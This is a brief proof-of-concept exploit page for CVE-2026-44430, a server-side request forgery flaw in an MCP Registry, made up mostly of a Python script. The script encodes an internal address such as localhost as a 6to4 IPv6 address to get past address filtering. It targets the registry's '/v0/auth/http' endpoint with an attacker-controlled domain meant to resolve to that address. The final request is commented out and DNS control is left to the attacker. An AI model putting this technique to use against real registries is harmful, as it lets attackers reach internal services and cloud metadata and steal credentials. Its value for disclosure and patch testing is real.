CVE-2026-44430 MCP Registry SSRF漏洞

#!/usr/bin/env python3 import requests import struct import socket # Convert IPv4 to IPv6 6to4 address def ipv4_to_6to4(ipv4): packed = socket.inet_aton(ipv4) return f"2002:{packed[0]:02x}{packed[1]:02x}:{packed[2]:02x}{packed[3]:02x}::1" # Target internal IP (e.g., localhost or cloud metadata) target_ipv4 = "127.0.0.1" malicious_ipv6 = ipv4_to_6to4(target_ipv4) # The vulnerable endpoint url = "http://target-registry-url/v0/auth/http" # Payload pointing to a domain controlled by attacker, # resolving to the malicious IPv6 payload = { "domain": "attacker-controlled.com", # In a real scenario, the attacker's DNS server would return 'malicious_ipv6' for this domain. } print(f"[+] Generated Malicious IPv6: {malicious_ipv6}") print(f"[+] Attempting to send request to {url}...") # Note: This demonstrates the concept. # The actual exploit requires DNS manipulation to make 'attacker-controlled.com' # resolve to the generated IPv6 address. # response = requests.post(url, json=payload) # print(response.text)